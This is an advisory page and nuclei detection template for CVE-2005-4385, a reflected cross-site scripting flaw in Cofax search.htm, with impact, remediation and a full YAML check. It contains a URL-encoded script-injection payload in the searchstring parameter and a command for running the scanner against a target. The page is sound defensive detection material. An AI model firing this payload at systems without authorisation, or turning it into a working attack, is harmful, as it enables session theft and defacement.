Cofax <=2.0RC3 - Cross-Site Scripting

mediumseverity

4.3CVSS score

8.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "'>\"</script><script>alert(document.domain)</script>" AND status 200

Run it with nuclei: nuclei -id CVE-2005-4385 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2005-4385

info:
  name: Cofax <=2.0RC3 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor.
  reference:
    - http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
    - https://nvd.nist.gov/vuln/detail/CVE-2005-4385
    - http://www.vupen.com/english/advisories/2005/2977
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2005-4385
    cwe-id: NVD-CWE-Other
    epss-score: 0.08836
    epss-percentile: 0.95237
    cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cofax
    product: cofax
  tags: cve2005,cve,cofax,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'>\"</script><script>alert(document.domain)</script>"

      - type: status
        status:
          - 200

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